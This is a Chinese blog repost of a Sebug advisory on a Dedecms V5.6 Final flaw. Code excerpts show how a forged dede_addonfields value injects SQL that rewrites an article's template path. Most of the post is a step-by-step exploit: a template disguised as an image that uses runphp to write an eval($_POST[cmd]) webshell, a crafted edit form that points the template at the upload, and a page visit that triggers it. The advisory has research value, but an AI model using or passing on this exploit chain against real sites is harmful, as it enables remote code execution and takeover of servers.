漏洞版本:

Dedecms V5.6 Final

漏洞描述:

Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。

1、member/article_edit.php文件(注入):

//漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。
…
//分析处理附加表数据
    $inadd_f = '';
    if(!empty($dede_addonfields))//自己构造$dede_addonfields
    {
        $addonfields = explode(';',$dede_addonfields);
        if(is_array($addonfields))
        {
            print_r($addonfields);
            foreach($addonfields as $v)
            {
                if($v=='')
                {
                    continue;
                }
                $vs = explode(',',$v);
                if(!isset(${$vs[0]}))
                {
                    ${$vs[0]} = '';
                }
                ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
                $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
                echo $inadd_f;
            }
        }
    }
…
if($addtable!='')
    {
        $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' "; //执行构造的sql
        if(!$dsql->ExecuteNoneQuery($upQuery))
        {
            ShowMsg("更新附加表 `$addtable`  时出错,请联系管理员!","javascript:;");
            exit();
        }
    }
…

2、include/inc_archives_view.php:

//这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。
…
//issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询
            if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
            {
                if(is_array($this->addTableRow))
                {
                    $this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];
                    $this->Fields['templet'] = $this->addTableRow['templet'];//取值
                    $this->Fields['userip'] = $this->addTableRow['userip'];
                }
                $this->Fields['templet'] = (empty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));
                $this->Fields['redirecturl'] = (empty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));
                $this->Fields['userip'] = (empty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));
            }
            else
            {
                $this->Fields['templet'] = $this->Fields['redirecturl'] = '';
            }
…

    //获得模板文件位置
    function GetTempletFile()
    {
        global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
        $cid = $this->ChannelUnit->ChannelInfos['nid'];
        if(!empty($this->Fields['templet']))
        {
            $filetag = MfTemplet($this->Fields['templet']);
            if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
        }
        else
        {
            $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
        }
        $tid = $this->Fields['typeid'];
        $filetag = str_replace('{cid}', $cid,$filetag);
        $filetag = str_replace('{tid}', $tid,$filetag);
        $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
        if($cid=='spec')
        {
            if( !empty($this->Fields['templet']) )
            {
                $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
            }
            else
            {
                $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
            }
        }
        if(!file_exists($tmpfile))
        {
            $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');
        }
        return $tmpfile;
    }

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. 1.上传一个模板文件:
    2.  
    3. 注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
    4. uploads/userup/2/12OMX04-15A.jpg
    5.  
    6. 模板内容是(如果限制图片格式,加gif89a):
    7. {dede:name runphp='yes'}
    8. $fp =@fopen("1.php",'a');
    9. @fwrite($fp,'<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
    10. @fclose($fp);
    11. {/dede:name}
    12.  
    13. 2.修改刚刚发表的文章,查看源文件,构造一个表单:
    14. <form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
    15. <input type="hidden" name="dopost" value="save" />
    16. <input type="hidden" name="aid" value="2" />
    17. <input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
    18. <input type="hidden" name="channelid" value="1" />
    19. <input type="hidden" name="oldlitpic" value="" />
    20. <input type="hidden" name="sortrank" value="1275972263" />
    21.  
    22. <div id="mainCp">
    23. <h3 class="meTitle"><strong>修改文章</strong></h3>
    24.  
    25. <div class="postForm">
    26. <label>标题:</label>
    27. <input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
    28.  
    29. <label>标签TAG:</label>
    30. <input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
    31.  
    32. <label>作者:</label>
    33. <input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
    34.  
    35. <label>隶属栏目:</label>
    36. <select name='typeid' size='1'>
    37. <option value='1' class='option3' selected=''>测试栏目</option>
    38. </select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
    39.  
    40. <label>我的分类:</label>
    41. <select name='mtypesid' size='1'>
    42. <option value='0' selected>请选择分类...</option>
    43. <option value='1'class='option3' selected>hahahha</option>
    44. </select>
    45.  
    46. <label>信息摘要:</label>
    47. <textarea name="description" id="description">1111111</textarea>
    48. (内容的简要说明)
    49.  
    50. <label>缩略图:</label>
    51. <input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100"class="intxt"/>
    52.  
    53. <input type='text' name='templet'
    54. value="../ uploads/userup/2/12OMX04-15A.jpg">
    55. <input type='text' name='dede_addonfields'
    56. value="templet,htmltext;">(这里构造)
    57. </div>
    58.  
    59. <!-- 表单操作区域 -->
    60. <h3 class="meTitle">详细内容</h3>
    61.  
    62. <div class="contentShow postForm">
    63. <input type="hidden" id="body" name="body" value="&lt;div&gt;&lt;a href=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;&quot; src=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; width=&quot;1010&quot; height=&quot;456&quot; /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;&amp;lt;?phpinfo()?&amp;gt;1111111&lt;/p&gt;" style="display:none"/><input type="hidden" id="body___Config" value="FullPage=false" style="display:none"/><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&amp;Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
    64.  
    65. <label>验证码:</label>
    66. <input name="vdcode" type="text" id="vdcode" maxlength="100"class="intxt" style='width:50px;text-transform:uppercase;'/>
    67. <img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'"/>
    68.  
    69. <button class="button2" type="submit">提交</button>
    70. <button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
    71. </div>
    72.  
    73. </div>
    74.  
    75. </form>
    76.  
    77. 提交,提示修改成功,则我们已经成功修改模板路径。
    78.  
    79. 3.访问修改的文章:
    80.  
    81. 假设刚刚修改的文章的aid为2,则我们只需要访问:
    82. http://127.0.0.1/dede/plus/view.php?aid=2
    83. 即可以在plus目录下生成webshell1.php
posted on 2014-03-21 15:31  milantgh  阅读(508)  评论(0编辑  收藏  举报